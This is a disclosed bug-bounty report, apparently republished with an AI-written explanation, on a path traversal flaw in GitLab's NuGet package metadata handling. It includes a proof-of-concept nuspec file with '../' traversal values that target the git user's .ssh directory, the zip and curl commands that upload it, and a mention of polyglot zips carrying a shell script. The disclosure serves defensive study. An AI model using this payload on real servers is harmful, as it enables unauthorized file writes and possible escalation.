Path traversal in nuget metadata extraction allowing packages to be saved anywhere
The NuGet package metadata extraction service did not validate the package id or version, allowing path traversal. An attacker could move the uploaded package file to any location writable by the git user.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
HackerOne report #835427 by vakzz on 2020-03-31, assigned to @ankelly:
Report | Attachments | How To Reproduce
Report
Summary
After a nuget package is uploaded via the api, the UpdatePackageFromMetadataService is run to update the package and file names based on the metadata in the nuspec file which is extracted from the package zip. Neither the extracted id or version is checked for path traversal, allowing the package.nupkg to be moved anywhere that the git user has access.
Steps to reproduce
-
create a project
-
create a
spec.nuspecfile with the following contentsXML
<?xml version="1.0"?>
<package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd">
<metadata>
<id>../../../../../../../../../../../../../</id>
<version>./var/opt/gitlab/.ssh/aaa</version>
</metadata>
</package>
```
-
zip it up and upload it via the api
Bash
zip package.zip spec.nuspec
curl -XPUT -v 'http://vakzz:[email protected]/api/v4/projects/112/packages/nuget/' -F package=[@]package.zip
```
- after the metadata service has run you can see that the file has been moved
ls -asl /var/opt/gitlab/.ssh/

Impact
I'm still unsure of the complete impact of this, but there are a few thing to note:
- the file will always have the
.nupkgextension (can't see a way around this) - any parent directories are also created
- the package has to be a valid zip file, but using something like https://truepolyglot.hackade.org/ arbitrary data can be appended to the start.
Knowing the above it might be possible to escalate this further, but requires more investigation.
Examples
nuget package used above:
package that is a polyglot with a shell script:
What is the current bug behavior?
The package file_name is updated with values directly from the metadata without any checks:
package_file.update!(
file_name: package_filename,
file: package_file.file
)
def package_name
metadata[:package_name]
end
def package_version
metadata[:package_version]
end
def metadata
strong_memoize(:metadata) do
::Packages::Nuget::MetadataExtractionService.new(package_file.id).execute
end
end
def package_filename
"#{package_name.downcase}.#{package_version.downcase}.nupkg"
end
What is the expected correct behavior?
The package_filename should be validated
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.1-ee
Revision: 0ebcf602332
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
An attacker can write controlled data with the extension .nupkg to anywhere the git user has access
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The package filename was built directly from unvalidated metadata fields (id and version) without sanitising path traversal sequences.
Impact
An attacker could write controlled data with the .nupkg extension to any location the git user has access, potentially leading to further escalation.
What the attacker needed
A GitLab account; ability to create a project; ability to upload packages
The fix
The package_filename should be validated to prevent path traversal.
How it was found
- Create a project.
- Create a spec.nuspec file with a malicious id and version containing path traversal sequences.
- Zip the nuspec file and upload it via the NuGet package API.
- After the metadata service runs, the file is moved to the traversed location.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you upload a NuGet package, the server reads its metadata (like name and version) to decide where to save the file. The server trusted that metadata without checking for '..' sequences, which mean 'go up a folder'. So an attacker could make the file save outside the intended folder, anywhere the server's user can write.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.